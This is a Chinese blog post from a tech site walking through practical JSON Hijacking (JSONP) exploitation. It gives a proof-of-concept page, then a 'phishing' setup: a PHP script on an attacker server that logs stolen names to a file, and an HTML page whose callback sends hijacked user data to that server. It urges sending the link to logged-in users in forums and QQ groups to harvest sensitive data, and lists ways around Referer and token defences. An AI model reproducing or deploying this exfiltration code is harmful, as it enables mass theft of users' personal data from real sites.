如何进行JSON Hijacking实战利用

发布时间:2021-12-14 09:09:57 作者:柒染
来源:亿速云 阅读:124

这篇文章将为大家详细讲解有关如何进行JSON Hijacking实战利用,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

前言

JSON Hijacking漏洞的详细利用,有点类似与CSRF,不过原理利用方式不同,在这边文章我着重讲解json跨域劫持的利用环境搭建与方式。

0×01漏洞的挖掘

一般挖掘的过程中,burpsuite代理的History做寻找,过滤多余不可能存在漏洞的一些链接,如下图所示:

如何进行JSON Hijacking实战利用

我们在返回包中json格式发现了如下的敏感信息(用户Id,用户名,用户手机号码)。

如何进行JSON Hijacking实战利用

0×02漏洞的证明之poc

提交漏洞,poc在众测时要争分夺秒,所以这边用了最精简的一个POC。

假如返回的数据为:

txf({"data":{"name":"唐晓峰"}});    

<html>
<head>
<script>
function txf(a){
alert(a.data.name);
}
</script>

<script src=http://***.***.**/wm/User/getUserInfo?callback=txf></script>
</body>
</html>

即可如下弹窗:

如何进行JSON Hijacking实战利用

0×03漏洞的利用之钓鱼

1.准备一台web服务器,我直接phpstudy搭的。

附上服务器端的代码

json.php
<?php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字:  ".$name."\r\n");
?><html>
钓鱼.html
<head>
   <title>txf</title>
<script>
var xmlhttp;
   function txf(a)
   {
   xmlhttp=new XMLHttpRequest()
var x="http://***.***.***/json.php?name="+a.data.name;
xmlhttp.open("GET", x, true);
xmlhttp.send();
}
</script>>
<script src=http://***.***.***?callback=txf></script>
</head>
<body>
<textarea>钓鱼啦,傻瓜</textarea>>
</body>
</html>

把钓鱼链接http://***.***.***/钓鱼.html发给该网站已登陆的用户,如论坛,社区QQ群,社区贴吧等,服务端即可获取到大量用户敏感数据。

这边以hackone的一个项目为例:    

如何进行JSON Hijacking实战利用

0×04漏洞的修复与绕过

因为这个例子是小伙伴发过来的还没修复,所以都脱敏了,我们再从开发修复的角度去思考如何绕过修复。

1.Referer白名单

子域名绕过,文件名绕过,空Referer绕过

2.增加token认证

token足够复杂或者服务端加密,我们无法绕过,如果token很简单,如纯数字,我们可以尝试遍历绕过

3.接口禁用

无敌的操作,无法绕过

关于如何进行JSON Hijacking实战利用就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

推荐阅读:
  1. 函数计算进行自动化运维专题
  2. 水坑配合JSON Hijacking

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

json hijacking

上一篇:大数据中CDP Private Cloud Base 7.1.4正式GA有什么功能

下一篇:CDSW中Run Experiments异常的示例分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》